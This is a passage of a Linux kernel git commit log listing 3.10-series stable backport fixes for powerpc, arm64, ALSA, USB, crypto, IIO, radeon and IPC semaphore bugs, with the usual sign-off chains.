"fast" in sPAPR - mpe. Fixes: 587f83e8dd50 ("powerpc/pseries: Use rtas_get_sensor in RAS code") Signed-off-by: Thomas Huth Reviewed-by: Nathan Fontenot Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bec6cc8575aebd5ce5190c10823487c2fec726d8 Author: Michael Ellerman Date: Fri Aug 7 16:19:43 2015 +1000 powerpc/mm: Fix pte_pagesize_index() crash on 4K w/64K hash commit 74b5037baa2011a2799e2c43adde7d171b072f9e upstream. The powerpc kernel can be built to have either a 4K PAGE_SIZE or a 64K PAGE_SIZE. However when built with a 4K PAGE_SIZE there is an additional config option which can be enabled, PPC_HAS_HASH_64K, which means the kernel also knows how to hash a 64K page even though the base PAGE_SIZE is 4K. This is used in one obscure configuration, to support 64K pages for SPU local store on the Cell processor when the rest of the kernel is using 4K pages. In this configuration, pte_pagesize_index() is defined to just pass through its arguments to get_slice_psize(). However pte_pagesize_index() is called for both user and kernel addresses, whereas get_slice_psize() only knows how to handle user addresses. This has been broken forever, however until recently it happened to work. That was because in get_slice_psize() the large kernel address would cause the right shift of the slice mask to return zero. However in commit 7aa0727f3302 ("powerpc/mm: Increase the slice range to 64TB"), the get_slice_psize() code was changed so that instead of a right shift we do an array lookup based on the address. When passed a kernel address this means we index way off the end of the slice array and return random junk. That is only fatal if we happen to hit something non-zero, but when we do return a non-zero value we confuse the MMU code and eventually cause a check stop. This fix is ugly, but simple. When we're called for a kernel address we return 4K, which is always correct in this configuration, otherwise we use the slice mask. Fixes: 7aa0727f3302 ("powerpc/mm: Increase the slice range to 64TB") Reported-by: Cyril Bur Signed-off-by: Michael Ellerman Reviewed-by: Aneesh Kumar K.V Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cc5c3ac35a25686fbe505cf39a10c9e86c9b8c26 Author: Takashi Iwai Date: Thu Aug 13 18:05:06 2015 +0200 ALSA: hda - Use ALC880_FIXUP_FUJITSU for FSC Amilo M1437 commit a161574e200ae63a5042120e0d8c36830e81bde3 upstream. It turned out that the machine has a bass speaker, so take a correct fixup entry. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=102501 Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e1dd4423ad58db001a77b2ef1f307b863ddc6b51 Author: Takashi Iwai Date: Thu Aug 13 18:02:39 2015 +0200 ALSA: hda - Enable headphone jack detect on old Fujitsu laptops commit bb148bdeb0ab16fc0ae8009799471e4d7180073b upstream. According to the bug report, FSC Amilo laptops with ALC880 can detect the headphone jack but currently the driver disables it. It's partly intentionally, as non-working jack detect was reported in the past. Let's enable now. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=102501 Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e6a2582864fe4035793c0c0e73471701109f222e Author: Will Deacon Date: Wed Sep 2 18:49:28 2015 +0100 arm64: head.S: initialise mdcr_el2 in el2_setup commit d10bcd473301888f957ec4b6b12aa3621be78d59 upstream. When entering the kernel at EL2, we fail to initialise the MDCR_EL2 register which controls debug access and PMU capabilities at EL1. This patch ensures that the register is initialised so that all traps are disabled and all the PMU counters are available to the host. When a guest is scheduled, KVM takes care to configure trapping appropriately. Acked-by: Marc Zyngier Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 326d8a654fe6aed3948571ccd29f2d3d99aa2c03 Author: Will Deacon Date: Tue Sep 15 12:07:06 2015 +0100 arm64: compat: fix vfp save/restore across signal handlers in big-endian commit bdec97a855ef1e239f130f7a11584721c9a1bf04 upstream. When saving/restoring the VFP registers from a compat (AArch32) signal frame, we rely on the compat registers forming a prefix of the native register file and therefore make use of copy_{to,from}_user to transfer between the native fpsimd_state and the compat_vfp_sigframe. Unfortunately, this doesn't work so well in a big-endian environment. Our fpsimd save/restore code operates directly on 128-bit quantities (Q registers) whereas the compat_vfp_sigframe represents the registers as an array of 64-bit (D) registers. The architecture packs the compat D registers into the Q registers, with the least significant bytes holding the lower register. Consequently, we need to swap the 64-bit halves when converting between these two representations on a big-endian machine. This patch replaces the __copy_{to,from}_user invocations in our compat VFP signal handling code with explicit __put_user loops that operate on 64-bit values and swap them accordingly. Reviewed-by: Catalin Marinas Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d4166a752e72da419525dfd614181869dcd59fb2 Author: Jeff Vander Stoep Date: Tue Aug 18 20:50:10 2015 +0100 arm64: kconfig: Move LIST_POISON to a safe value commit bf0c4e04732479f650ff59d1ee82de761c0071f0 upstream. Move the poison pointer offset to 0xdead000000000000, a recognized value that is not mappable by user-space exploits. Acked-by: Catalin Marinas Signed-off-by: Thierry Strudel Signed-off-by: Jeff Vander Stoep Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 63aa74e63b83e1da950f61f04a038a58a06c7213 Author: Bob Copeland Date: Sat Jun 13 10:16:31 2015 -0400 mac80211: enable assoc check for mesh interfaces commit 3633ebebab2bbe88124388b7620442315c968e8f upstream. We already set a station to be associated when peering completes, both in user space and in the kernel. Thus we should always have an associated sta before sending data frames to that station. Failure to check assoc state can cause crashes in the lower-level driver due to transmitting unicast data frames before driver sta structures (e.g. ampdu state in ath9k) are initialized. This occurred when forwarding in the presence of fixed mesh paths: frames were transmitted to stations with whom we hadn't yet completed peering. Reported-by: Alexis Green Tested-by: Jesse Jones Signed-off-by: Bob Copeland Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 058100031aaf1dd1296e064daa4544c9fb3d3b91 Author: Jean Delvare Date: Tue Sep 1 18:07:41 2015 +0200 tg3: Fix temperature reporting commit d3d11fe08ccc9bff174fc958722b5661f0932486 upstream. The temperature registers appear to report values in degrees Celsius while the hwmon API mandates values to be exposed in millidegrees Celsius. Do the conversion so that the values reported by "sensors" are correct. Fixes: aed93e0bf493 ("tg3: Add hwmon support for temperature") Signed-off-by: Jean Delvare Cc: Prashant Sreedharan Cc: Michael Chan Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1c27791056b60a189b071f8c992696025d982e2c Author: Adrien Schildknecht Date: Wed Aug 19 17:33:12 2015 +0200 rtlwifi: rtl8192cu: Add new device ID commit 1642d09fb9b128e8e538b2a4179962a34f38dff9 upstream. The v2 of NetGear WNA1000M uses a different idProduct: USB ID 0846:9043 Signed-off-by: Adrien Schildknecht Acked-by: Larry Finger Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 518657fa4d7449df441ac4d0cc135b4d5e5fd3fc Author: Eric W. Biederman Date: Mon Aug 10 17:35:07 2015 -0500 unshare: Unsharing a thread does not require unsharing a vm commit 12c641ab8270f787dfcce08b5f20ce8b65008096 upstream. In the logic in the initial commit of unshare made creating a new thread group for a process, contingent upon creating a new memory address space for that process. That is wrong. Two separate processes in different thread groups can share a memory address space and clone allows creation of such proceses. This is significant because it was observed that mm_users > 1 does not mean that a process is multi-threaded, as reading /proc/PID/maps temporarily increments mm_users, which allows other processes to (accidentally) interfere with unshare() calls. Correct the check in check_unshare_flags() to test for !thread_group_empty() for CLONE_THREAD, CLONE_SIGHAND, and CLONE_VM. For sighand->count > 1 for CLONE_SIGHAND and CLONE_VM. For !current_is_single_threaded instead of mm_users > 1 for CLONE_VM. By using the correct checks in unshare this removes the possibility of an accidental denial of service attack. Additionally using the correct checks in unshare ensures that only an explicit unshare(CLONE_VM) can possibly trigger the slow path of current_is_single_threaded(). As an explict unshare(CLONE_VM) is pointless it is not expected there are many applications that make that call. Fixes: b2e0d98705e60e45bbb3c0032c48824ad7ae0704 userns: Implement unshare of the user namespace Reported-by: Ricky Zhou Reported-by: Kees Cook Reviewed-by: Kees Cook Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b1e67b0f6d8c1619bb6dd59cec4c2354d2e7dbe8 Author: Greg Kroah-Hartman Date: Mon Sep 21 10:00:25 2015 -0700 Linux 3.10.89 Signed-off-by: Pranav Vashi commit 38160e9c8855bf63ff0ade9e002b7fdf2117fa28 Author: Max Filippov Date: Thu Aug 22 18:09:47 2013 +0400 xtensa: don't use echo -e needlessly commit 123f15e669d5a5a2e2f260ba4a5fc2efd93df20e upstream. -e is not needed to output strings without escape sequences. This breaks big endian FSF build when the shell is dash, because its builtin echo doesn't understand '-e' switch and outputs it in the echoed string. Reported-by: Guenter Roeck Signed-off-by: Max Filippov Signed-off-by: Chris Zankel Cc: Sudip Mukherjee Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 493a2780a8105d0d5abd603dbc7b7e8753daaa86 Author: Mikulas Patocka Date: Wed Sep 2 22:51:53 2015 +0200 hpfs: update ctime and mtime on directory modification commit f49a26e7718dd30b49e3541e3e25aecf5e7294e2 upstream. Update ctime and mtime when a directory is modified. (though OS/2 doesn't update them anyway) Signed-off-by: Mikulas Patocka Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3f8dfe937569d72373f09effd580d44b6a1b145b Author: Grant Likely Date: Sun Jun 7 15:20:11 2015 +0100 drivercore: Fix unregistration path of platform devices commit 7f5dcaf1fdf289767a126a0a5cc3ef39b5254b06 upstream. The unregister path of platform_device is broken. On registration, it will register all resources with either a parent already set, or type==IORESOURCE_{IO,MEM}. However, on unregister it will release everything with type==IORESOURCE_{IO,MEM}, but ignore the others. There are also cases where resources don't get registered in the first place, like with devices created by of_platform_populate()*. Fix the unregister path to be symmetrical with the register path by checking the parent pointer instead of the type field to decide which resources to unregister. This is safe because the upshot of the registration path algorithm is that registered resources have a parent pointer, and non-registered resources do not. * It can be argued that of_platform_populate() should be registering it's resources, and they argument has some merit. However, there are quite a few platforms that end up broken if we try to do that due to overlapping resources in the device tree. Until that is fixed, we need to solve the immediate problem. Cc: Pantelis Antoniou Cc: Wolfram Sang Cc: Rob Herring Cc: Greg Kroah-Hartman Cc: Ricardo Ribalda Delgado Signed-off-by: Grant Likely Tested-by: Ricardo Ribalda Delgado Tested-by: Wolfram Sang Signed-off-by: Rob Herring Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a2d25e153216938b82e45b406d4a6d4c244fb071 Author: David Daney Date: Wed Aug 19 13:17:47 2015 -0700 of/address: Don't loop forever in of_find_matching_node_by_address(). commit 3a496b00b6f90c41bd21a410871dfc97d4f3c7ab upstream. If the internal call to of_address_to_resource() fails, we end up looping forever in of_find_matching_node_by_address(). This can be caused by a defective device tree, or calling with an incorrect matches argument. Fix by calling of_find_matching_node() unconditionally at the end of the loop. Signed-off-by: David Daney Signed-off-by: Rob Herring Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 263ce2433ac1e8a6d7ff0769f353eda21c9c8e84 Author: Sudip Mukherjee Date: Mon Jul 20 17:27:21 2015 +0530 auxdisplay: ks0108: fix refcount commit bab383de3b84e584b0f09227151020b2a43dc34c upstream. parport_find_base() will implicitly do parport_get_port() which increases the refcount. Then parport_register_device() will again increment the refcount. But while unloading the module we are only doing parport_unregister_device() decrementing the refcount only once. We add an parport_put_port() to neutralize the effect of parport_get_port(). Signed-off-by: Sudip Mukherjee Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 65414ddd204105e91239eb5294977a279a128217 Author: Masahiro Yamada Date: Wed Jul 15 10:29:00 2015 +0900 devres: fix devres_get() commit 64526370d11ce8868ca495723d595b61e8697fbf upstream. Currently, devres_get() passes devres_free() the pointer to devres, but devres_free() should be given with the pointer to resource data. Fixes: 9ac7849e35f7 ("devres: device resource management") Signed-off-by: Masahiro Yamada Acked-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ae6e767bedf2cbce94de2a21840ac2aa0e191208 Author: Max Filippov Date: Thu Jul 16 10:41:02 2015 +0300 xtensa: fix kernel register spilling commit 77d6273e79e3a86552fcf10cdd31a69b46ed2ce6 upstream. call12 can't be safely used as the first call in the inline function, because the compiler does not extend the stack frame of the bounding function accordingly, which may result in corruption of local variables. If a call needs to be done, do call8 first followed by call12. For pure assembly code in _switch_to increase stack frame size of the bounding function. Signed-off-by: Max Filippov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6e5620bd88559ab60b81f74bfb30786bd6ef328e Author: Max Filippov Date: Sat Jul 4 15:27:39 2015 +0300 xtensa: fix threadptr reload on return to userspace commit 4229fb12a03e5da5882b420b0aa4a02e77447b86 upstream. Userspace return code may skip restoring THREADPTR register if there are no registers that need to be zeroed. This leads to spurious failures in libc NPTL tests. Always restore THREADPTR on return to userspace. Signed-off-by: Max Filippov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit da752d9a840ccf45b0295f85526d565212654fb8 Author: Don Zickus Date: Mon Aug 10 12:06:53 2015 -0400 HID: usbhid: Fix the check for HID_RESET_PENDING in hid_io_error commit 3af4e5a95184d6d3c1c6a065f163faa174a96a1d upstream. It was reported that after 10-20 reboots, a usb keyboard plugged into a docking station would not work unless it was replugged in. Using usbmon, it turns out the interrupt URBs were streaming with callback errors of -71 for some reason. The hid-core.c::hid_io_error was supposed to retry and then reset, but the reset wasn't really happening. The check for HID_NO_BANDWIDTH was inverted. Fix was simple. Tested by reporter and locally by me by unplugging a keyboard halfway until I could recreate a stream of errors but no disconnect. Signed-off-by: Don Zickus Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2ee5695f20575051f3fd5b9b143fd42398af327e Author: Andrey Ryabinin Date: Thu Sep 3 14:32:01 2015 +0300 crypto: ghash-clmulni: specify context size for ghash async algorithm commit 71c6da846be478a61556717ef1ee1cea91f5d6a8 upstream. Currently context size (cra_ctxsize) doesn't specified for ghash_async_alg. Which means it's zero. Thus crypto_create_tfm() doesn't allocate needed space for ghash_async_ctx, so any read/write to ctx (e.g. in ghash_async_init_tfm()) is not valid. Signed-off-by: Andrey Ryabinin Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1408c51f9c7019dc964b9efe0c0b8a58974b85f1 Author: Maciej S. Szmigiero Date: Sun Aug 2 23:11:52 2015 +0200 serial: 8250: don't bind to SMSC IrCC IR port commit ffa34de03bcfbfa88d8352942bc238bb48e94e2d upstream. SMSC IrCC SIR/FIR port should not be bound to by (legacy) serial driver so its own driver (smsc-ircc2) can bind to it. Signed-off-by: Maciej Szmigiero Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5fc3205590148b9b8d701c1471dfae2ddb2eb38c Author: Peter Chen Date: Mon Aug 17 10:23:03 2015 +0800 usb: host: ehci-sys: delete useless bus_to_hcd conversion commit 0521cfd06e1ebcd575e7ae36aab068b38df23850 upstream. The ehci platform device's drvdata is the pointer of struct usb_hcd already, so we doesn't need to call bus_to_hcd conversion again. Signed-off-by: Peter Chen Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a232da0036f2af62b8a257c6f0ea16fd8ef6dcac Author: Kishon Vijay Abraham I Date: Mon Jul 27 12:25:27 2015 +0530 usb: dwc3: ep0: Fix mem corruption on OUT transfers of more than 512 bytes commit b2fb5b1a0f50d3ebc12342c8d8dead245e9c9d4e upstream. DWC3 uses bounce buffer to handle non max packet aligned OUT transfers and the size of bounce buffer is 512 bytes. However if the host initiates OUT transfers of size more than 512 bytes (and non max packet aligned), the driver throws a WARN dump but still programs the TRB to receive more than 512 bytes. This will cause bounce buffer to overflow and corrupt the adjacent memory locations which can be fatal. Fix it by programming the TRB to receive a maximum of DWC3_EP0_BOUNCE_SIZE (512) bytes. Signed-off-by: Kishon Vijay Abraham I Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 11500093c69286f50193ff5146ab95cda4ec3329 Author: Matthijs Kooijman Date: Tue Aug 18 10:33:56 2015 +0200 USB: ftdi_sio: Added custom PID for CustomWare products commit 1fb8dc36384ae1140ee6ccc470de74397606a9d5 upstream. CustomWare uses the FTDI VID with custom PIDs for their ShipModul MiniPlex products. Signed-off-by: Matthijs Kooijman Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2d3af1429da597e2ec4ebe6f040b7574a27d3f79 Author: Philipp Hachtmann Date: Mon Aug 17 17:31:46 2015 +0200 USB: symbolserial: Use usb_get_serial_port_data commit 951d3793bbfc0a441d791d820183aa3085c83ea9 upstream. The driver used usb_get_serial_data(port->serial) which compiled but resulted in a NULL pointer being returned (and subsequently used). I did not go deeper into this but I guess this is a regression. Signed-off-by: Philipp Hachtmann Fixes: a85796ee5149 ("USB: symbolserial: move private-data allocation to port_probe") Acked-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f10d7f3510a69a5a6223caa5bf661bd2713f7a1c Author: Bjorn Helgaas Date: Fri Jun 19 15:58:24 2015 -0500 PCI: Fix TI816X class code quirk commit d1541dc977d376406f4584d8eb055488655c98ec upstream. In fixup_ti816x_class(), we assigned "class = PCI_CLASS_MULTIMEDIA_VIDEO". But PCI_CLASS_MULTIMEDIA_VIDEO is only the two-byte base class/sub-class and needs to be shifted to make space for the low-order interface byte. Shift PCI_CLASS_MULTIMEDIA_VIDEO to set the correct class code. Fixes: 63c4408074cb ("PCI: Add quirk for setting valid class for TI816X Endpoint") Signed-off-by: Bjorn Helgaas CC: Hemant Pedanekar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b95e369c35b473344f10f0f6fcbc6e26195c50e1 Author: Dan Carpenter Date: Wed Jul 29 13:17:06 2015 +0300 clk: versatile: off by one in clk_sp810_timerclken_of_get() commit 3294bee87091be5f179474f6c39d1d87769635e2 upstream. The ">" should be ">=" or we end up reading beyond the end of the array. Fixes: 6e973d2c4385 ('clk: vexpress: Add separate SP810 driver') Signed-off-by: Dan Carpenter Acked-by: Pawel Moll Signed-off-by: Stephen Boyd Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 36d935dc03bdac1b1a1b61f9b8cdc8448d71f563 Author: Lars-Peter Clausen Date: Wed Aug 5 15:38:15 2015 +0200 iio: adis16480: Fix scale factors commit 7abad1063deb0f77d275c61f58863ec319c58c5c upstream. The different devices support by the adis16480 driver have slightly different scales for the gyroscope and accelerometer channels. Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8751415d065031bd0436ac4006a698f45fb1310a Author: Lars-Peter Clausen Date: Wed Aug 5 15:38:14 2015 +0200 iio: Add inverse unit conversion macros commit c689a923c867eac40ed3826c1d9328edea8b6bc7 upstream. Add inverse unit conversion macro to convert from standard IIO units to units that might be used by some devices. Those are useful in combination with scale factors that are specified as IIO_VAL_FRACTIONAL. Typically the denominator for those specifications will contain the maximum raw value the sensor will generate and the numerator the value it maps to in a specific unit. Sometimes datasheets specify those in different units than the standard IIO units (e.g. degree/s instead of rad/s) and so we need to do a unit conversion. From a mathematical point of view it does not make a difference whether we apply the unit conversion to the numerator or the inverse unit conversion to the denominator since (x / y) / z = x / (y * z). But as the denominator is typically a larger value and we are rounding both the numerator and denominator to integer values using the later method gives us a better precision (E.g. the relative error is smaller if we round 8000.3 to 8000 rather than rounding 8.3 to 8). This is where in inverse unit conversion macros will be used. Marked for stable as used by some upcoming fixes. Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a5e9e5670898695116d6740087879abb47b4696d Author: Markus Pargmann Date: Wed Jul 29 15:46:03 2015 +0200 iio: bmg160: IIO_BUFFER and IIO_TRIGGERED_BUFFER are required commit 06d2f6ca5a38abe92f1f3a132b331eee773868c3 upstream. This patch adds selects for IIO_BUFFER and IIO_TRIGGERED_BUFFER. Without IIO_BUFFER, the driver does not compile. Signed-off-by: Markus Pargmann Reviewed-by: Srinivas Pandruvada Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f741e7569be870b2dc0dfb523b4bf77e4b3e41fd Author: Stephen Chandler Paul Date: Fri Aug 21 14:16:12 2015 -0400 DRM - radeon: Don't link train DisplayPort on HPD until we get the dpcd commit 924f92bf12bfbef3662619e3ed24a1cea7c1cbcd upstream. Most of the time this isn't an issue since hotplugging an adaptor will trigger a crtc mode change which in turn, causes the driver to probe every DisplayPort for a dpcd. However, in cases where hotplugging doesn't cause a mode change (specifically when one unplugs a monitor from a DisplayPort connector, then plugs that same monitor back in seconds later on the same port without any other monitors connected), we never probe for the dpcd before starting the initial link training. What happens from there looks like this: - GPU has only one monitor connected. It's connected via DisplayPort, and does not go through an adaptor of any sort. - User unplugs DisplayPort connector from GPU. - Change in HPD is detected by the driver, we probe every DisplayPort for a possible connection. - Probe the port the user originally had the monitor connected on for it's dpcd. This fails, and we clear the first (and only the first) byte of the dpcd to indicate we no longer have a dpcd for this port. - User plugs the previously disconnected monitor back into the same DisplayPort. - radeon_connector_hotplug() is called before everyone else, and tries to handle the link training. Since only the first byte of the dpcd is zeroed, the driver is able to complete link training but does so against the wrong dpcd, causing it to initialize the link with the wrong settings. - Display stays blank (usually), dpcd is probed after the initial link training, and the driver prints no obvious messages to the log. In theory, since only one byte of the dpcd is chopped off (specifically, the byte that contains the revision information for DisplayPort), it's not entirely impossible that this bug may not show on certain monitors. For instance, the only reason this bug was visible on my ASUS PB238 monitor was due to the fact that this monitor using the enhanced framing symbol sequence, the flag for which is ignored if the radeon driver thinks that the DisplayPort version is below 1.1. Signed-off-by: Stephen Chandler Paul Reviewed-by: Jerome Glisse Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 75377ee90cab9388fbf4c3f679b251621b1b51a1 Author: Greg Kroah-Hartman Date: Sun Sep 13 09:08:15 2015 -0700 Linux 3.10.88 Signed-off-by: Pranav Vashi commit bf17433efbd5e1503797de6d66d3623ed5bd3f97 Author: Horia Geant? Date: Tue Aug 11 20:19:20 2015 +0300 crypto: caam - fix memory corruption in ahash_final_ctx commit b310c178e6d897f82abb9da3af1cd7c02b09f592 upstream. When doing pointer operation for accessing the HW S/G table, a value representing number of entries (and not number of bytes) must be used. Fixes: 045e36780f115 ("crypto: caam - ahash hmac support") Signed-off-by: Horia Geant? Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d8053b9575250ef85e756b37e3e0c7ae0a503a5c Author: Bart Van Assche Date: Fri Jun 5 14:20:51 2015 -0700 libfc: Fix fc_fcp_cleanup_each_cmd() commit 8f2777f53e3d5ad8ef2a176a4463a5c8e1a16431 upstream. Since fc_fcp_cleanup_cmd() can sleep this function must not be called while holding a spinlock. This patch avoids that fc_fcp_cleanup_each_cmd() triggers the following bug: BUG: scheduling while atomic: sg_reset/1512/0x00000202 1 lock held by sg_reset/1512: #0: (&(&fsp->scsi_pkt_lock)->rlock){+.-...}, at: [] fc_fcp_cleanup_each_cmd.isra.21+0xa5/0x150 [libfc] Preemption disabled at:[] fc_fcp_cleanup_each_cmd.isra.21+0xa5/0x150 [libfc] Call Trace: [] dump_stack+0x4f/0x7b [] __schedule_bug+0x6c/0xd0 [] __schedule+0x71a/0xa10 [] schedule+0x32/0x80 [] fc_seq_set_resp+0xac/0x100 [libfc] [] fc_exch_done+0x41/0x60 [libfc] [] fc_fcp_cleanup_each_cmd.isra.21+0xcf/0x150 [libfc] [] fc_eh_device_reset+0x1c3/0x270 [libfc] [] scsi_try_bus_device_reset+0x29/0x60 [] scsi_ioctl_reset+0x258/0x2d0 [] scsi_ioctl+0x150/0x440 [] sd_ioctl+0xad/0x120 [] blkdev_ioctl+0x1b6/0x810 [] block_ioctl+0x38/0x40 [] do_vfs_ioctl+0x2f8/0x530 [] SyS_ioctl+0x81/0xa0 [] system_call_fastpath+0x16/0x7a Signed-off-by: Bart Van Assche Signed-off-by: Vasu Dev Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2ad9b180afc2be88d22447df8508113dadec7ae1 Author: Alex Deucher Date: Mon Aug 10 15:28:49 2015 -0400 drm/radeon: add new OLAND pci id commit e037239e5e7b61007763984aa35a8329596d8c88 upstream. Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d0b95fe7826a63854f2845a4f60e84abd678f654 Author: Michael Walle Date: Tue Jul 21 11:00:53 2015 +0200 EDAC, ppc4xx: Access mci->csrows array elements properly commit 5c16179b550b9fd8114637a56b153c9768ea06a5 upstream. The commit de3910eb79ac ("edac: change the mem allocation scheme to make Documentation/kobject.txt happy") changed the memory allocation for the csrows member. But ppc4xx_edac was forgotten in the patch. Fix it. Signed-off-by: Michael Walle Cc: linux-edac Cc: Mauro Carvalho Chehab Link: http://lkml.kernel.org/r/1437469253-8611-1-git-send-email-michael@walle.cc Signed-off-by: Borislav Petkov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e8afacb84f87c23808383738a8dacde33641a99d Author: Richard Weinberger Date: Mon Jul 27 00:06:55 2015 +0200 localmodconfig: Use Kbuild files too commit c0ddc8c745b7f89c50385fd7aa03c78dc543fa7a upstream. In kbuild it is allowed to define objects in files named "Makefile" and "Kbuild". Currently localmodconfig reads objects only from "Makefile"s and misses modules like nouveau. Link: http://lkml.kernel.org/r/1437948415-16290-1-git-send-email-richard@nod.at Reported-and-tested-by: Leonidas Spyropoulos Signed-off-by: Richard Weinberger Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f8cc6aea1032e280703f4206446ec6885159197c Author: Joe Thornber Date: Wed Aug 12 15:10:21 2015 +0100 dm thin metadata: delete btrees when releasing metadata snapshot commit 7f518ad0a212e2a6fd68630e176af1de395070a7 upstream. The device details and mapping trees were just being decremented before. Now btree_del() is called to do a deep delete. Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6fd6e9b235d98fb47ebce58f1b9c95d039fd5118 Author: Peter Zijlstra Date: Thu Jun 11 10:32:01 2015 +0200 perf: Fix fasync handling on inherited events commit fed66e2cdd4f127a43fd11b8d92a99bdd429528c upstream. Vince reported that the fasync signal stuff doesn't work proper for inherited events. So fix that. Installing fasync allocates memory and sets filp->f_flags |= FASYNC, which upon the demise of the file descriptor ensures the allocation is freed and state is updated. Now for perf, we can have the events stick around for a while after the original FD is dead because of references from child events. So we cannot copy the fasync pointer around. We can however consistently use the parent's fasync, as that will be updated. Reported-and-Tested-by: Vince Weaver Signed-off-by: Peter Zijlstra (Intel) Cc: Arnaldo Carvalho deMelo Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: eranian@google.com Link: http://lkml.kernel.org/r/1434011521.1495.71.camel@twins Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5222b09e99c0223e985033011c8bd2027bc72179 Author: Wanpeng Li Date: Fri Aug 14 15:34:56 2015 -0700 mm/hwpoison: fix page refcount of unknown non LRU page commit 4f32be677b124a49459e2603321c7a5605ceb9f8 upstream. After trying to drain pages from pagevec/pageset, we try to get reference count of the page again, however, the reference count of the page is not reduced if the page is still not on LRU list. Fix it by adding the put_page() to drop the page reference which is from __get_any_page(). Signed-off-by: Wanpeng Li Acked-by: Naoya Horiguchi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 69bbed174d10cf5d8eb941949c1820eb290eb9a3 Author: Manfred Spraul Date: Fri Aug 14 15:35:10 2015 -0700 ipc/sem.c: update/correct memory barriers commit 3ed1f8a99d70ea1cd1508910eb107d0edcae5009 upstream. sem_lock() did not properly pair memory barriers: !spin_is_locked() and spin_unlock_wait() are both only control barriers. The code needs an acquire barrier, otherwise the cpu might perform read operations before the lock test. As no primitive exists inside and since it seems noone wants another primitive, the code creates a local primitive within ipc/sem.c. With regards to -stable: The change of sem_wait_array() is a bugfix, the change to sem_lock() is a nop (just a preprocessor redefinition to improve the readability). The bugfix is necessary for all kernels that use sem_wait_array() (i.e.: starting from 3.10). Signed-off-by: Manfred Spraul Reported-by: Oleg Nesterov Acked-by: Peter Zijlstra (Intel) Cc: "Paul E. McKenney" Cc: Kirill Tkhai Cc: Ingo Molnar Cc: Josh Poimboeuf Cc: Davidlohr Bueso Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b6fea8c9d8616441b7f701f5e831f788a805985a Author: Herton R. Krzesinski Date: Fri Aug 14 15:35:02 2015 -0700 ipc,sem: fix use after free on IPC_RMID after a task using same semaphore set exits commit 602b8593d2b4138c10e922eeaafe306f6b51817b upstream. The current semaphore code allows a potential use after free: in exit_sem we may free the task's sem_undo_list while there is still another task looping through the same semaphore set and cleaning the sem_undo list at freeary function (the task called IPC_RMID for the same semaphore set). For example, with a test program [1] running which keeps forking a lot of processes (which then do a semop call with SEM_UNDO flag), and with the parent right after removing the semaphore set with IPC_RMID, and a kernel built with CONFIG_SLAB, 